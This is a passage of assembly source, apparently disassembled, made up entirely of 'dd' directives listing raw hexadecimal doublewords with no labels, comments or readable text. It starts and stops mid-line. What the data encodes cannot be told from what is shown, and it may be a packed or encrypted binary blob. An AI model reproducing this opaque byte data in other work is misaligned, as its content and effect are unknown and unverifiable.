0F69E6002h dd 13B820h, 9AC2F18Fh, 80125B10h, 2EE8B78h, 1ABF0700h dd 0ACC7228Dh, 1FFE12CCh, 0B369000Ch, 2EFAC88Bh, 746CB3Ch dd 0CD7EA48Ah, 8EF52280h, 0C4A04897h, 2DFCCC03h, 0AFD0430Fh dd 0E6004A68h, 387382A8h, 9AD9B2C9h, 0C0713F24h, 0D500FC59h dd 0D6B4F9A0h, 4012F818h, 0CC06AA55h, 31048CBh, 9E1F6EFCh dd 19C01701h, 18BA108Fh, 0D65FDF07h, 0A07371AFh, 66DDF8C9h dd 159FA52h, 0F5700765h, 0F44704B4h, 0D10CD6C7h, 794E3D42h dd 0D9B101C9h, 50305720h, 295F7094h, 0B9601860h, 4A1FAEh dd 8009CBCCh, 5FA57B0h, 4D422100h, 3162D70Eh, 26D000EEh dd 12695872h, 2100C929h, 9C399993h, 37A6105h, 0A0BD5BBFh dd 68D24CDDh, 40FBD860h, 30158E03h, 0E0DEC37Eh, 8869C9h dd 2FCC8490h, 8CCD323Fh, 4DDF1603h, 0C9135E23h, 8870E61Fh dd 86103C7Ch, 8547F600h, 4C0FFF55h, 0C5AA6C1Fh, 22FE3880h dd 5630540h, 6981315Ch, 9756834Ah, 0D391CAA0h, 0D1275007h dd 0E6B0DDEEh, 0AA8539h, 0E9D85F2Ah, 808EB813h, 0EAFD2300h dd 67347A70h, 6CE82CA5h, 0BC4800DDh, 80CC4DCAh, 0D52ADA7Ah dd 4F16FC9Fh, 0EABFCD3h, 47007A92h, 0AFE3C4A3h, 0A9944E1Dh dd 8B93DB01h, 308314A7h, 1209E70Dh, 402672D1h, 589D44CCh dd 803CFA38h, 0CDB23B2Ch, 0D20BBBh, 0F51A3725h, 84175D3Eh dd 11472804h, 66C3756Ah, 96500033h, 4FC60DE0h, 8900C8E8h dd 9C14FDDAh, 4F4F9EAh, 0FBDFC1A7h, 0A04090DCh, 0D000CA2Ah dd 0C794EBF1h, 3D95BAA5h, 4CBA6F70h, 1A221Fh, 72B0B149h dd 9A674096h, 80CE1EE9h, 0A03EDA1Fh, 199E6F44h, 455504A0h dd 0FB33B122h, 0F83869ABh, 0BE5958h, 0D050EDA4h, 4403F5AEh dd 4A84848h, 77E487BDh, 4FD4D780h, 9058004Bh, 44C37FE1h dd 0AA615E95h, 2E2192E1h, 0F247C24h, 0CB124F01h, 0B1DF5FA0h dd 0DC00EA9Dh, 5B1A3BE3h, 50690Ch, 0C22F73BEh, 98CC45DAh dd 7F70B776h, 0C4820201h, 998E6890h, 4979CCh, 0CB191B67h dd 3A36321Fh, 0D7B9C6A0h, 0C8B86F00h, 2B57FD58h, 28C40351h dd 491B48Dh, 177ACCA0h, 67FC1900h, 8A3796BBh, 0D7973B9Fh dd 8927718h, 20C08218h, 0B2397EDBh, 34B500F4h, 0B35EC3FBh dd 0F5ECEA91h, 4C80671Eh, 877388F0h, 0B35038Ah, 477EC669h dd 0CA905998h, 9FF8BC0Eh, 2687E0D4h, 33FB3350h, 1A48E94Fh dd 4C058929h, 60181459h, 34614800h, 0CC5D2908h, 3D180053h dd 0A71D91AEh, 0E00A5E02h, 946F1450h, 409FFC0Fh, 0D3F53FA5h dd 625B031Dh, 99EAC8C9h, 596407B8h, 0A27230CFh, 0A0F846D9h dd 5EF45CB0h, 0B753037Ch, 0AF7952C3h, 21A10830h, 5A6CB5h dd 95942BF5h, 33578373h, 5B8FE400h, 6FD8071Bh, 86506023h dd 0BDE2AD81h, 8D9AA1Dh, 25921140h, 0FA4A8B14h, 7E27001Bh dd 91B7E662h, 8005886h, 18E21DDBh, 3C3D1A68h, 0A902E481h dd 4F648D07h, 0EEF569E0h, 667F20Fh, 17ED43F8h, 7EA3E0CDh dd 0AE870022h, 41E55647h, 0A9183F3Dh, 765C010Fh, 0BFC003Bh dd 70FB9D9Bh, 66002342h dd 371CD7C4h, 3D73B2h, 7FD54F1Eh, 4B8BC558h, 61800100h dd 0B2205917h, 0AFCE001Dh, 2F6AD0D7h, 0A407A89Ch, 0B6571EC5h dd 0FA7F1930h, 0BB5200D1h, 0FC1305A6h, 4301DFDCh, 0FE5190C2h dd 0CEFC3BC0h, 0E99207A7h, 91642F8Fh, 983D2575h, 0F2212609h dd 188E1C06h, 73CF0064h, 154E57BAh, 4B39E800h, 9BB98283h dd 30696017h, 0CC7E3E7Ah, 0B832A700h, 38B5F821h, 0D0AF0D4Bh dd 9F189BBEh, 0ED863D28h, 11B072h, 0DBE1387h, 0D522AEA8h dd 1DB6281Dh, 26216F18h, 42C1006Bh, 0CB632D5Dh, 80600594h dd 4A5FA569h, 0AD0B1E96h, 0BD5580A1h, 2A5D5A2Dh, 12016A00h dd 0E8DBE171h, 0E93818CAh, 40F2397Dh, 86956300h, 0FBF684DDh dd 30837414h, 3B20C92Eh, 1A006378h, 181C4415h, 0CB74E681h dd 6D88C091h, 0E80E0090h, 51B13CC1h, 50827C00h, 0FD20542Fh dd 66AA02DFh, 7A1CA707h, 0A8B49C83h, 1DB01010h, 0EFE71300h dd 5368BF0Bh, 0ED00DFE4h, 506CD48Ah, 711C87h, 37556D30h dd 1972EC98h, 0F2EF5E00h, 7FDE3F0Ch, 0A01C1E35h, 5C59C1A5h dd 0FCB2E0A9h, 1800FB3Bh, 810A2AC1h, 0BCB01Eh, 54E44BD5h dd 8CACD60Fh, 8600257Dh, 44492A1Ch, 4B9108h, 0CB3E2ECFh dd 1EA8BCFCh, 21039A00h, 0DF703CCAh, 50EFA18Fh, 0FD3F70h dd 23C1CD6Ah, 4D3D97CCh, 8B10A760h, 0B322212h, 81D0B153h dd 4329AE00h, 1B00232Fh, 2EB38D78h, 1288C8h, 4B01E93Eh dd 38E2090Ah, 88431D37h, 80D9D082h, 7A0B17A2h, 7D401EDCh dd 0AFFB4FE4h, 651B2C80h, 0D40036B0h, 32551126h, 11052A1h dd 0EFB5301Fh, 0C3476541h, 60673038h, 6233859h, 152B0026h dd 0DCF3814Bh, 8BB0356Dh, 0E3AE6000h, 0BBD743BEh, 44C10187h dd 63BB996h, 0B108FACh, 1F02E7A6h, 0B9F3BEE3h, 0ADD02D7Eh dd 9350084h, 7D3C4591h, 264F8C0h, 0DC403078h, 0A98C5B86h dd 0F36C9E00h, 0DE37CD8Bh, 0F135241Bh, 0FEAD008Fh, 2CF05A7Dh dd 0B010EB00h, 7090D9D2h, 0B56700D0h, 50E79885h, 93E282CEh dd 8F214100h, 78607C06h, 2E7B005Fh, 5896976Ch, 47302920h dd 4BB1312Ah, 42A007B9h, 0E0E5F78Bh, 0BA76908Ah, 0C150E800h dd 261AB8ADh, 3600E328h, 9C0041E7h, 10A86A42h, 1A76F7h dd 7F948647h, 2D0565CAh, 61299F30h, 0FA3FF9h, 97AD3923h dd 0F5440D0Ch, 8AC80F00h, 486AB58Fh, 0EF35007Ch, 1B66BBB4h dd 0E3607A80h, 4F8D8588h, 0A03D0656h, 1861ACAAh, 0A45D5C06h dd 0B080B581h, 60577078h, 1FC0719Fh, 7C0066E3h, 4069069Eh dd 0E13EFh, 0ADDE1E8Eh, 4886DF1Ah, 0C6F855Ch, 48906E9Eh dd 242600E1h, 2973F4A1h, 51DFD64Bh, 475C4F00h, 288FBBBAh dd 1E8C62BFh, 24F00873h, 0AE2B00B9h, 9248C826h, 7612BE00h dd 5EC9F4DAh, 2E9F3F6Fh, 0D8B960E0h, 0F7007898h, 7BE37DDEh dd 5FA1C3h, 0E71B8918h, 983DBDC0h, 0A584D307h, 0B6503809h dd 0F0627178h, 9CFB039Fh, 2E74CE80h, 4F84B9D8h, 2DAA1D00h dd 26277AE5h, 0DC6203E8h, 0EA019947h, 36B303Ch, 7033368Eh dd 20A64Dh, 0F25CF30Fh, 4ED43FC4h, 0A57D3E00h, 0BD2670E2h dd 3C8400B8h, 376A0347h, 9F301763h, 0F5CB6040h, 5E821F7Bh dd 905D4FAEh, 49452020h, 96006E3Bh, 8CA9B53Fh, 19D557h dd 65F06C69h, 39093082h, 80A6751Eh, 0E7B6C900h, 0DE2FABh dd 0B46BB73Bh, 3607399h, 28128700h, 18DBD48h, 0E5881F32h dd 4E140063h, 31684F29h, 404A3C00h, 1077B497h, 471B04FAh dd 83C8BE22h, 16F3A2B2h, 5D4944F0h, 0C417690Fh, 2B3A4055h dd 1B83989Dh, 284386CAh, 520751C0h, 0C2E06405h, 0E0807E31h dd 0ED219F6h, 4F412E96h, 990D60A0h, 0C248F0C5h, 976F0372h dd 0E05F8440h, 0FE27655Bh, 0C0E57A80h, 0BF66A298h, 3300D172h dd 46CA487Eh, 3D95D2B3h, 140C4F23h, 3ED8B988h, 3C6861Dh dd 0E03856D8h, 0C5F70029h, 0A3FC305Eh, 0FB7426C2h, 0D8C086EEh dd 0C4F7347Bh, 1C847751h, 80383D5Eh, 0E9053B67h, 0B30C24BAh dd 0A8316971h, 110E18A3h, 35AC1846h, 48C3211Bh, 4D2A9068h dd 0E730031h, 1179783h, 3CE89EDBh, 0C6C18CA8h, 0C7C83000h dd 9545364Ch, 42DA37F4h, 195300E1h, 0BF01D331h, 0AE04603Bh dd 97D82254h, 0E45D0069h, 28747C3h, 0A0008427h, 3D99CFBEh dd 0FD1316h, 0F8D9EF03h, 0E0A4E436h, 17D6B500h, 5308941Dh dd 42880011h, 0DCC6DB7Ch, 1A00C078h, 82B95B2Ah, 81F80Bh dd 5F3AB69Eh, 14F5A607h, 0B998D676h, 54E3007h, 5B10A0EDh dd 0CC9A285Dh, 9521F008h, 8B07F503h, 0A0EF342Dh, 1CC4183Ah dd 40784D39h, 91C61D9Fh, 1B001479h, 5D0018Ah, 6F8DF346h dd 0FF004065h, 0B87EE62Eh, 81FD9903h, 0A108F1DFh, 208047E9h dd 4541F7AAh, 0AC00FC7Fh, 0E0C85E67h, 37B9C4F8h, 6389D15Fh dd 117FAAEAh, 1913D630h, 708346Dh, 0B061DA4Eh, 3F9D934Dh dd 130E923h, 0A0440547h, 0B91898h, 900240A6h, 4E2D07F2h dd 63D76B03h, 0A89C38DAh, 0CFA61A8h, 0B9012CE9h, 0AD0FB159h dd 8537ECh, 2BAF636Eh, 50190066h, 0CE40E84Eh, 0C4E0C54Bh dd 1ED1FC07h, 1C0025Bh, 0ECBD8A1Fh, 5A92008Fh, 0B8463C2Dh dd 9D3A04F3h, 732F8039h, 0ED7A770Ch, 99543940h, 182A2503h dd 0E2909E5Ah, 760E222Eh, 20F9AC44h, 0EAB1E668h, 1CA57C11h dd 4016D395h, 82B55339h, 120FF910h, 818CD73Ch, 5D3F45DEh dd 7886E5C8h, 823E076Eh, 40413AB9h, 1BF51561h, 0C200D4B0h dd 0A8BF8320h, 3C8E5717h, 0F42CED7Eh, 0BEAA0087h, 5F14FC1h dd 0B882400Ch, 610872h, 0F9387908h, 0EC8D0AB7h, 0E4D6730Bh dd 0E561801Dh, 60A941CFh, 0BEA6C44Fh, 0E91E94DEh, 908EBF8Bh dd 61F00E59h, 87BD893Fh, 1E955BE8h, 0B8154Eh, 0FA070A97h dd 4C168019h, 2600ECBBh, 60938A71h, 898D3h, 9C745EB7h dd 72D58E06h, 0A96FA200h, 1E623FAEh, 4A560301h, 3B5418A7h dd 0C8C078AEh, 1EE6E775h, 0BB5903DFh, 69999F15h, 33D713B8h dd 8E04D116h, 41478B00h, 3B1E6AF5h, 0BF1DDE07h, 911FCAh dd 0EB0D8E20h, 7C008B71h, 0DC1F2C80h, 1F8AF1ECh, 0F0EFB617h dd 88A3F408h, 63FC900h, 0CC81C2Dh, 86DE0044h, 0ECB20E8Bh dd 0B607191Fh, 8C6422F1h, 0CFCC2900h, 3C7F24BFh, 33BD06E2h dd 5E300884h, 0D3A5204Ch, 5FC103C0h, 0E37A1C2h, 36EA7AF0h dd 98421100h, 0E7206912h, 0F09900EBh, 65286761h, 0F33A6DE2h dd 251F7C8Ah, 5130647Dh, 1806B26Ch, 114B3163h, 101F2D2Ch dd 0D05C1199h, 0DDA2CB07h, 706B103h, 56158A20h, 0A0300397h dd 123E4B0h, 4192D930h, 7E993D6h, 4E0AEBBBh, 1A00DB17h dd 4075CEB7h, 61CCC501h, 0FE7D9BE2h, 611A09Fh, 18D60FACh dd 0F87B3B10h, 29743504h, 0BC78C09Dh, 793C9654h, 28FA0069h dd 0C5578F2Bh, 0D43700E1h, 10758AD5h, 0A800694Ch, 9C971703h dd 779A36h, 0E009FB6Eh, 0ED2A427Ah, 0AAE4F103h, 0CB52DC13h dd 34D2B730h, 89B26076h, 0BF2A002Eh, 35B9F43Dh, 92039684h dd 48FC4112h, 0F1081C37h, 152CD8h, 5074527Fh, 18C042DCh dd 55C9C2E4h, 8E7C0C6Ah, 50313448h, 3C837000h, 0D50D28D0h dd 0B7EA3B3Bh, 1F551BFh, 0EEB9360Eh, 0E6703AC0h, 64296DE0h dd 58DC747Ah, 0B9E8B586h, 0A18400A0h, 1395E0E1h, 0B13A6EC6h dd 7D6080A2h, 6211588Eh, 4C4300DBh, 4BCCFCEEh, 6F002B79h dd 0E3DD3DFh, 0DCEB67C7h, 0D8BCC0A8h, 3B72429Eh, 5C379C0Ch dd 14AA71F8h, 80EF55A2h dd 30C66F7Bh, 11174B80h, 0FE1E9CF0h, 0B500C2D9h, 0BD1C3355h dd 0CE597D0Fh, 0D480C729h, 7A3A3C93h, 0CCC48205h, 28C0CEF2h dd 83FDEh, 58528B09h, 3BCDE09Fh, 74968700h, 5F9C3E2Dh dd 0B6F5006Bh, 0BEAD5420h, 0F4007CAAh, 566DE6C2h, 0F1610CAh dd 0BC5AD132h, 1C02A241h, 0B843DC71h, 0D7F14500h, 0B4BBD639h dd 782F1832h, 43EF3973h, 61AE8401h, 0BD7722EBh, 48ADF0h dd 1F3B53D6h, 0CA95FB37h, 7F098FF8h, 87202B5Dh, 3EE7FFFEh dd 0E0764022h, 3082A6F8h, 5640E19Fh, 0E901A019h, 0CF2242Dh dd 3841C091h, 0EAE4FAF3h, 8EF024F9h, 14BD0026h, 0DB22622h dd 3D339E01h, 630B16D7h, 7093E8h, 1D50B5AAh, 0FCA807ABh dd 48B1BD00h, 0A3B65B16h, 23030190h, 8A2B5993h, 80F9F88Bh dd 3D4B0B18h, 6760EA0h, 84E275Ch, 0CE4303Ah, 5BA9C460h dd 7863B10Fh, 1A890CBh, 8175DFD2h, 0D46F741Eh, 86004FE8h dd 3C9FB80h, 5C1FE0h, 34C8321Bh, 7D7A2E65h, 41B9A701h dd 0BB04C58Ch, 756AD0h, 6BC1DF0Eh, 78444746h, 2CEAD101h dd 88A6A5C5h, 78DDAFF4h, 48E6ECB3h, 81F1D2Ah, 5638C0C2h dd 281C9B96h, 260F8A00h, 0B617522h, 0CA790669h, 4089C6D5h dd 7FAD2700h, 0CD327D88h, 2231E07h, 290300D8h, 22699CC5h dd 0C83AC903h, 0A005DF61h, 1CE87839h, 800BEF47h, 0A70E8A25h dd 5F00449Dh, 0A16D5B9Fh, 1712165h, 6ABBF120h, 45FFBD45h dd 93FB8084h, 2600EB18h, 4AB9A25Ah, 0CD7E95h, 8E31D772h dd 0CBD1848Bh, 79DADC1Dh, 0A74C8701h, 0F6D0882Ah, 0E060004Eh dd 78B4E211h, 6303EFD6h, 20CBF373h, 0DFFCF0B3h, 0BAF5064Bh dd 40B8DA0Bh, 0C5A5F600h, 3DD18177h, 305D6F6Ah, 8290C80h dd 0A1F202Ah, 3A76F4h, 7E1A02C0h, 1873CE6Fh, 38DED691h dd 0A23AD734h, 0EB43E76h, 0A588770h, 21DC2CA6h, 43EE5636h dd 3CC4308Ah, 75C0C0F9h, 8336770Ch, 64710CAh, 0CC724107h dd 103021C9h, 16CB0889h, 0FAA20313h, 0CCD4BCAh, 6B002177h dd 1B344EEh, 340930h, 3D0DA10Fh, 0F533E0B4h, 69CBDA07h dd 41904DB7h, 7C8070h, 47667FC8h, 48B3AB4Ah, 0EE80F561h dd 2453C13Ch, 0B43EB8CEh, 191B86Fh, 0DC54B66Ch, 41F7D636h dd 8086A488h, 0F61079B9h, 1EF1F4A9h, 406C952Ch, 8DFD7FEBh dd 67005872h, 0DB78BB29h, 26E30214h, 0FB29B08h, 0C863F1C2h dd 4800C522h, 0A91DBCC4h, 0E62A7A38h, 11F81Bh, 0DC22D4B3h dd 0FCA1837Fh, 0A258557Ah, 391B308Dh, 0F466D09h, 0CA12476Ch dd 130E7800h, 50E3BB6Bh, 0B732A894h, 9634801h, 0AFDAA90Bh dd 0ECCC8121h, 0B838002Eh, 4D9ADDDBh, 209E97Bh, 0C3BB5E6h dd 1629416Fh, 5CC734h, 759A9EEFh, 8807EBD6h, 62AB452h dd 5C6F9F30h, 74A44866h, 0E45E7006h, 0D7012087h, 0F0F8CBA5h dd 64201904h, 4109014Ah, 0B453C203h, 3FA840C9h, 0BA1FF6B6h dd 0AC684E9Eh, 0BF294600h, 99B94353h, 244100F3h, 2C9A2F62h dd 6A00ED56h, 78F02A70h, 5834A53Ah, 72007D4Ch, 0D1C40DA6h dd 75757EB2h, 5DCFA000h, 0D644434Bh, 0B8F0ACh, 0DAC5DF08h dd 0F4220AD4h, 96B14C00h, 0A744ED3Fh, 4DC09D76h, 0E4E0F852h dd 0F216C300h, 27438B6Fh, 517B00ABh, 0A83C33A5h, 950054A9h dd 7868E7BDh, 0B27BED0h, 9E9C6276h, 0F8B8CA00h, 0C0002F56h dd 3FA4162Ah, 7E313E8Ch, 0A0F400C3h, 0DDBA6F29h, 420ED3B6h dd 0C0F6E8ACh, 0DA902787h, 0BC300D0h, 23AF8906h, 7F00B9D8h dd 0F67282CFh, 0EC6DB05Dh, 0FDFB00A9h, 0A7FC6B74h, 0DF000A67h dd 91C0368Dh, 65372Ah, 0F903A2A9h, 1530FC4Fh, 0D39BB00h dd 50A8CDA5h, 81531E02h, 883D989Bh, 6F00E822h, 49A72841h dd 397F898h, 178D589Fh, 4801EEB1h, 45E33C57h, 1080675Fh dd 9A6001A2h, 737F3E2Bh, 3FD4D101h, 0A4D08CB8h, 7BE3A850h dd 8523011Ah, 0A7E29CEFh, 5A15FC57h, 30BE6000h, 11A4B896h dd 0F44E00C1h, 9E4FF85Eh, 0F9C00C22h, 0D2061BE0h, 41660072h dd 4C473088h, 9801D311h, 0EBDAED45h, 8481E6B7h, 0FD5E133h dd 1F8FE810h, 50D94830h, 0F5643Fh, 2F9F1E74h, 172C7A35h dd 65E9FC00h, 0DBC01D7Eh, 0A89C004Ah, 8BA9CD72h, 0B006FB6h dd 4FEEF33Dh, 77668D6h, 4DF6FDAAh, 0D9E1A00Ch, 0D3001D2Ch dd 0F1559CDCh, 3EFACDEh, 6F66FB69h, 73E827ABh, 5711D32h dd 0BFB60F00h, 0A6915DB5h, 0E32800E6h, 813068C3h, 0C4FA6346h dd 888D5128h, 5CF41219h, 2CE08299h, 0D97C3833h, 94E3C600h dd 14A00B3Dh, 0C2673F00h, 0BE81E086h, 0CB25009Ah, 985ACFFBh dd 2701C63Ah, 888D6BE5h, 5BFC131Ah, 2C260091h, 0FB427950h dd 5D1DB759h, 44806371h, 0C337223Eh, 90A40023h, 799F6F02h dd 2907127Fh, 92DD6507h, 1FB95380h, 49A500F0h, 6BD4D5E5h dd 0D7015FFEh, 24942773h, 69FCBF07h, 4C1C0047h, 967BCD97h dd 9300954Fh, 54632F11h, 0DAF116h, 0F98FB483h, 6EB3875Ch dd 0F5753F0Ah, 9D3F90F2h, 7C8144ECh, 0E498653Bh, 0B8256EE4h dd 0A3C300DDh, 0E9D7CC3Fh, 7D7434C2h, 6AFD400h, 7F196FB8h dd 0D5260F58h, 0DCC1B28Eh, 0D46E6C0Fh, 0E701B9A0h, 9EEFBCB1h dd 0A961E01Ah, 41FADE8h, 0E26B2B80h, 6DAC8006h, 8D03430Ch dd 9D64444Dh, 9E3EF0EFh, 0CAC501A0h, 953FEE12h, 0A8016021h dd 8E0CC200h, 8A3ED746h, 14C0067h, 212AE223h, 2900AD14h dd 0CD3B498Ch, 0E93E13h, 5D010A5Ch, 7DB064E4h, 0AB7B9700h dd 0B6FBE0E1h, 583BE650h, 61008875h, 0E533E73Fh, 0EA003CF3h dd 0BC8EB82Dh, 171FE11h, 4E99AB4Dh, 30157BF6h, 7C1E586Fh dd 0E8C0D222h, 2A8B3D75h, 9D98023Ch, 0D78884C2h, 4D569481h dd 2959DC22h, 0E708EF0Fh, 3777207Fh, 75A4E49Eh, 0DD1D0140h dd 265ABA0Fh, 94F8F0C5h, 3F1E950Fh, 0F990803Ah, 7BD5CD6h dd 0F013AD08h, 0A0A02F83h, 26E0FC82h, 574C9E00h, 5A5C0B4Ah dd 0EC9D05F8h, 80CF2F25h, 0D1179587h, 82161500h, 0EDAA81E5h dd 0C2FF00D6h, 647CD929h, 0A60797E1h, 0FD6A51EBh, 990F8339h dd 0FCC000C8h, 9C36229Fh, 7401C318h, 0AD16915Ch, 0AFE5CB06h dd 9D321083h, 0E2CB7052h, 1E72FC88h, 0CA1CF900h, 0DDEE18F4h dd 6E2C1E0Eh, 90EDC04Ch, 9159DF24h, 4F0541FCh, 4E0BEF2Bh dd 555DEBC0h, 0EE07126Ah, 7C340080h, 0F803F5B4h, 0F0EFD801h dd 36AA04DAh, 54B9BCCh, 56E36722h, 0D6A0001Eh, 0C2BC189Dh dd 1658A903h, 0C087D0FFh, 3B8B22h, 441D145Dh, 0DD6AB804h dd 0A992F400h, 318EBF80h, 49AF081h, 0E7DC61D3h, 621C8045h dd 6B0023DDh, 909110B4h, 3CCE05h, 3B4EA79Ch, 383F3904h dd 6799AE00h, 77727611h, 319F2A4h, 9E04DCCAh, 0CFC01F5Ch dd 0AC71F742h, 570008E0h, 0C2AD3FECh, 9E3DDEDh, 0A54D963Bh dd 39622F00h, 7F12FC9Ch, 0D400B0BBh, 2485A4DFh, 16CA48C1h dd 215CD400h, 0FEF61177h, 0A8289503h, 0D82E0247h, 315C262h dd 14FFF73h, 0DF98806Dh, 70FFA5D0h, 38FAD50Dh, 0FE0B2F00h dd 0E18D5593h, 342D07A0h, 3A7771h, 1AA6A458h, 0F784B41Ch dd 3F9AD100h, 6FF856h, 0CA81594Ah, 190CFFB9h, 5B46F600h dd 45384029h, 31112460h, 0E6EE0047h, 5456C73Fh, 0D77AF600h dd 454C63EBh, 2BB700F4h, 6C91CEE5h, 0EC00939Eh, 5960DC6Bh dd 0A3B5F1h, 1A15E7FEh, 0F8E0D0BBh, 378340FBh, 0B600AF5Eh dd 0DA9D6B0Dh, 5527E7h, 433FEF76h, 0C82CE6C2h, 3D5D3707h dd 0C7812034h, 1EC06E4h dd 18A03BB6h, 17274780h, 0F44B0BCAh, 1E35EE07h, 0E38050EAh dd 0F80A1BD9h, 0CDBE0714h, 8080AF03h, 0ADCEE987h, 0B70F35E2h dd 0E0FB462Dh, 0F1266E83h, 32C4005Eh, 610106D7h, 0C900FF1Dh dd 126F19F5h, 3F9C52h, 0EE5A62FBh, 459E5887h, 2466C258h dd 0AC289CCDh, 5400E876h, 3AFC20FFh, 48D866B3h, 430218E5h dd 0C23110A8h, 81D39140h, 5300BF7Bh, 0DABB751Ch, 0F6AA9E6h dd 11A0F9Dh, 9894DFE0h, 7A7954D1h, 41872500h, 9C4D58C9h dd 0E88D006Eh, 246CB8D4h, 333AA62Bh, 82BE124Ch, 409EB00Fh dd 5B1459C6h, 0F45802BBh, 0C14BDFC5h, 0CCC338C1h, 950041F1h dd 5B1B592Ah, 0BAC0811h, 5598C13Eh, 8CF35A80h, 1F00EE3Fh dd 0FE6FC80Fh, 5BC732Fh, 694F0D7Dh, 57189013h, 0F900F024h dd 0AE102579h, 31D5E8h, 7B0958BAh, 74F250CBh, 239B7F00h dd 4C1F91EFh, 54BF51CFh, 0C059C4D4h, 7BAEBBA0h, 6300A05Ch dd 0F01214F1h, 0D66679h, 9CB49AE8h, 6202A93h, 6E8FFD00h dd 83F12958h, 380D00C4h, 36D011EBh, 9DF6B943h, 91974503h dd 0D0696422h, 51EC529h, 0F5779E5Eh, 5FD400D5h, 55EEEB1Bh dd 0BB0012F6h, 14E33C2h, 0F68BFEFAh, 82740781h, 504B13A6h dd 3EECD7B2h, 0A2F91664h, 43B55FC0h, 15140E91h, 0D0C075C5h dd 66A34C53h, 2B954500h, 8CF6F12Fh, 16AF03A4h, 61E473DFh dd 2260E7CAh, 0E80101AAh, 2CDC6AEAh, 7DE4A349h, 0B51D0F0Bh dd 0B620EC58h, 0E7BD8785h, 0F503BC00h, 0CF6D7ABEh, 75C606C4h dd 711ACEA3h, 7FDDCB58h, 360C077Ah, 18DE0A19h, 1549002Dh dd 0EFF5E4E7h, 100092F7h, 0FB6F48FAh, 0C08D5ABh, 0C9E8777Ah dd 4B90ED50h, 0F0463A00h, 87FEA254h, 73740039h, 0C411A61Ch dd 0DF0612E2h, 0A123D1DCh, 74B21861h, 7E1940C7h, 0E4050198h dd 770CDEADh, 0F1D61781h, 0C6B2E08Ch, 57C52B9h, 0C81D9138h dd 1CD213B1h, 5FF8F100h, 7794CDh, 307DABE6h, 0D889646Fh dd 0F6666100h, 0A3565DC8h, 0B4430053h, 0E61A5723h, 0A400A713h dd 0B8513DDCh, 0F5B5ACh, 0C5E7C28Fh, 169B4F01h, 1B8D7500h dd 0C9252B68h, 0DFDE4831h, 6636C500h, 0B033ECC1h, 82A8644Eh dd 4C3C0400h, 0C39E393Fh, 77114B0Eh, 0F21A6079h, 628B90h dd 22EEBDB4h, 0D58E32ECh, 2C1C01Dh, 534003Dh, 0EA3F6DC7h dd 10B61E31h, 4E3C8065h, 6C968E86h, 21CD3200h, 0A78B2D7Fh dd 88CA0393h, 0E8568418h, 0D8D195A1h, 6D00AC57h, 0E7E6C08h dd 38D86755h, 7B80653Dh, 0F5E6669h, 0A607CA8Ah, 9D500CA3h dd 0F16DBF70h, 0DAB0006Bh, 0CA722FC3h, 0DD00E121h, 0B6323E44h dd 8AD56h, 781CEC5Ah, 4F57E2BBh, 14EECA01h, 0D7FB4AA5h dd 7248CF0h, 73F81DDCh, 64B9400Ch, 0D000C776h, 13BE440h dd 7B4EE921h, 0BBDE0089h, 6ED25EB2h, 0BD00EA0Bh, 72F2A729h dd 16BAAC8Ah, 1103D9h, 0E242E6A6h, 1A007064h, 0AD54D08Bh dd 1790F815h, 0E5A431h, 1EF245Dh, 58009807h, 921E949Ch dd 75B780Dh, 2036A8C0h, 7F0FF333h, 0B5AD80EDh, 59009E1Dh dd 9509C8A3h, 9A2D7Ch, 708EC961h, 6E6FFD2Eh, 2182A800h dd 0F542676Bh, 0C9893E94h, 3D684580h, 0AF47E943h, 870084FEh dd 58C704F0h, 18F7Ch, 99B72088h, 767D6909h, 0DC5B9100h dd 39D9561Bh, 0F4B80095h, 0DD6FACB5h, 0B4FE51D8h, 67591200h dd 210BC077h, 4FEB005Fh, 0F6BCB8C2h, 750024F4h, 787A5997h dd 0C0DA110Dh, 0AEBFD620h, 50EE93F3h, 0D8A0517Bh, 400E58Dh dd 2DE06DD3h, 0CAE96Ah, 5D4CCF1Fh, 4D2616F8h, 0B4715428h dd 2468B83Fh, 8E004FA1h, 9BEC2766h, 0A5AF073Bh, 0C081F602h dd 0B192A398h, 0F3CEF500h, 0AB74B68Fh, 0A7C9008Ch, 53E7992Ch dd 0B91E2EE9h, 3A80AAE3h, 4A7CFA29h, 950A0AA9h, 80F4BE82h dd 260C211Bh, 0AA887197h, 0F10A67D8h, 0DCE5B088h, 0A077AB46h dd 0ED9A850Fh, 48040D5h, 1C3A5D76h, 5CC8F00Ch, 394D0023h dd 48A0D50Dh, 0C401C200h, 632F0994h, 0A59A3072h, 260B90F2h dd 1DB9D418h, 0D8AB70h, 758302C7h, 0E1DCB553h, 81D44800h dd 0E3C8F940h, 0A3EA3C95h, 0CF1B2E1Fh, 6216AF1h, 0DCC5A5A7h dd 0B3009DB0h, 0F87A7246h, 8123C6h, 4E91FA6h, 0A79E8C40h dd 0F016C500h, 339A34F7h, 7A8A77A3h, 48C800FFh, 32D30ECBh dd 0CA00A02Fh, 4CA8575Ah, 141A6h, 9B7BDB90h, 0F6CBD068h dd 154A2207h, 0FD80266Ch, 0B3B03Eh, 75869CD1h, 45C2212Dh dd 0D99A2B13h, 8BD0DFC0h, 0D324007Dh, 0BB55D6DEh, 0EEEE8153h dd 3DBFAF07h, 2428029h, 594C4067h, 0DDAE02D9h, 484590B9h dd 0A5ADDD40h, 94CCA201h, 46E43082h, 687D60h, 0D766D669h dd 0B0C122C6h, 0C7426D00h, 0F3BD90E0h, 24290010h, 0CF5419E4h dd 82392A9Fh, 71B8500Bh, 0DAFA6800h, 455E2E05h, 230C1C8Eh dd 0E32A4040h, 0F84E1EDCh, 0ADB03100h, 0E8165DA4h, 1828009Eh dd 588D9C37h, 7300D5CFh, 85C77996h, 0BEC46Fh, 86A10334h dd 0EA7A4401h, 0DF005F7Ch, 8BE70DE4h, 18770D2h, 0E2B5C828h dd 0E0613789h, 0FB00EDFFh, 1D6E78E0h, 95C534Bh, 8DD18034h dd 0E40FC82h, 9D00E450h, 63302B71h, 7B48A77h, 93B5ED03h dd 0A6B3F0B0h, 7D005687h, 0FD1433F7h, 0F04AFC1Dh, 375EA02h dd 0ECD386B9h, 0CED0C69Fh, 30C4A738h, 64C05CEBh, 0D94192h dd 28C5BFFBh, 0DD9EDB1Fh, 0B5002490h, 0A37F40A9h, 0BA9F6Eh dd 0B61206FEh, 4B3CBF1Dh, 60008774h, 8D99D17Ah, 0F8E9AC9Ah dd 0F9E000D3h, 0E610BAFCh, 4C6093AFh, 0AA380920h, 0CF0E0002h dd 0C67A6F03h, 76009D5Dh, 202CFE15h, 30541194h, 342A3C89h dd 6B00DFEFh, 3D0FDE2Eh, 1A1F39h, 61CD7948h, 0E2FCEA23h dd 56C53500h, 0EC805F69h, 84D4075Dh, 9001D62Bh, 